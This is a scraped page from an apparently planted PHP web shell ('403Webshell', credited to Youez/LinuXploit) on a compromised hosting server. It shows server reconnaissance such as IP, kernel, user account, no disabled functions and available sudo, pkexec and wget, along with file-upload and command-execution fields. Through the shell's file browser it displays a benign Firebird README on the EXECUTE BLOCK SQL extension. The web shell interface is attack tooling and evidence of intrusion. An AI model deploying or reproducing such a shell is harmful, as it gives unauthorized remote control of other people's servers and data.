403Webshell
Server IP : 104.21.13.164  /  Your IP : 216.73.216.72
Web Server : Apache
System : Linux gator4057.hostgator.com 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
User : badawi ( 1130)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/firebird/sql.extensions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/firebird/sql.extensions/README.execute_block
SQL Language Extension: EXECUTE BLOCK

Function:
	Allow execute PL-SQL block as if it is stored procedure. 
	Supports input and output parameters

Autor:
	Vlad Khorsun <hvlad at users.sourceforge.net>

Syntax:
	EXECUTE BLOCK [ (param datatype = ?, param datatype = ?, ...) ]
		[ RETURNS (param datatype, param datatype, ...) }
	AS
	[DECLARE VARIABLE var datatype; ...]
	BEGIN
	...
	END

Client-side:
	The call isc_dsql_sql_info with parameter isc_info_sql_stmt_type returns
	- isc_info_sql_stmt_select, if block has output parameters. 
	Semantics of a call is similar to SELECT query - client has open cursor, 
can fetch data from it, and must close it after use.

	- isc_info_sql_stmt_exec_procedure, if block has no output parameters.
	Semantics of a call is similar to EXECUTE query - client has no cursor,
execution runs until first SUSPEND or end of block

	The client should preprocess only head of the SQL statement or use '?' 
instead of ':' as parameter indicator because in a body of the block may be links 
to local variables and \ or parameters with a colon ahead.

Example:
	User SQL is
		EXECUTE BLOCK (X INTEGER = :X) RETURNS (Y VARCHAR)
		AS
		DECLARE V INTEGER;
		BEGIN
		  INSERT INTO T(...) VALUES (... :X ...);

		  SELECT ... FROM T INTO :Y;
		  SUSPEND;
		END
	
	Preprocessed SQL is
		EXECUTE BLOCK (X INTEGER = ?) RETURNS (Y VARCHAR)
		AS
		DECLARE V INTEGER;
		BEGIN
		  INSERT INTO T(...) VALUES (... :X ...);

		  SELECT ... FROM T INTO :Y;
		  SUSPEND;
		END


Youez - 2016 - github.com/yon3zu
LinuXploit